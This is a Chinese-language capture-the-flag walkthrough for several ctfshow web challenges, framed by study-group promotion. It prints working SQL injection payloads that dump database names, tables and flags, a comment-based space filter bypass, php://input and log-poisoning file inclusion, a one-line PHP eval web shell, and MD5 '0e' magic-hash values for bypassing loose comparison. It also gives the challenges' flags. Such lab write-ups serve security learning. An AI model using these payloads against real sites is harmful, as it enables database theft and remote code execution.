学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
' or 1=1 union select 1,database(),3# 爆破数据库为web2
' or 1=1 union select 1,(select table\_name from information\_schema.tables where table\_schema='web2' limit 0,1),3 # 爆破表web2
' or 1=1 union select 1,(select column\_name from information\_schema.columns where table\_name='flag' limit 0,1),3# 爆字段
' or 1=1 union select 1,(select flag from flag limit 0,1),3# 查询内容
ctfshow{3e0dc92c-052f-4740-98f5-2ecdf8614a84}
web3
考点:伪协议
测试一下存在文件包含漏洞抓个包 使用php://input
得到了ctf_go_go_go
直接读取即可。
ctfshow{4dce862e-bd78-4ff2-b933-9798d391a276}
web4
考点:日志注入 文件包含
这里和上面一题差不多只是这么过滤了php://inpt
给的提示是日志注入 我们先来尝试一下:?url=/var/login/nginx/access.log
成功!
ok我们继续抓个包看看尝试传个木马能不能getshell
<?php @eval($_POST['a']);?>
尝试蚁剑连接ok连接成功!!
ctfshow{4873a70e-7d9d-456d-8eef-4a5a541c0e37}
web5
考点:代码审计(md5绕过)
where is flag?
<?php
error\_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$\_GET['v1'];
$v2=$\_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype\_alpha($v1)){
die("v1 error");
}
if(!is\_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
</body>
</html>
ctype_alpha
用来检测是否只含有字符,不是则为false
is_numeric
用于检测是否是纯数字
这里输入v1,v2
的值,v1
为字符,v2
为数字 然后让他们的md5
的值相等即可输出flag
这里是一个弱类型比较在PHP中0e
会被当做科学计数法 前两位相等即可完成绕过
开头为0E(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
Payload:?v1=EEIZDOI&v2=4011627063
ctfshow{0704b7e0-d2e9-461f-9967-e086e185402e}
web6
考点:SQL注入
(空格绕过)
又是这个熟悉的框 老样子尝试万能密码 发现报错!
SQL绕过知识点(第一次做,这里使用 /**/)
和web2
一样继续使用联合查询注入/**/
替换即可。
1'/**/union/**/select/**/1,2,3# 查询位置 在第二个字段
1'/**/union/**/select/**/1,database(),3# 爆破库 web2数据库
1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 爆破表
1'/\*\*/union/\*\*/select/\*\*/1,group\_concat(column\_name),3/\*\*/from/\*\*/information\_schema.columns/\*\*/where/\*\*/table\_name='flag'/**/# 爆字段
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!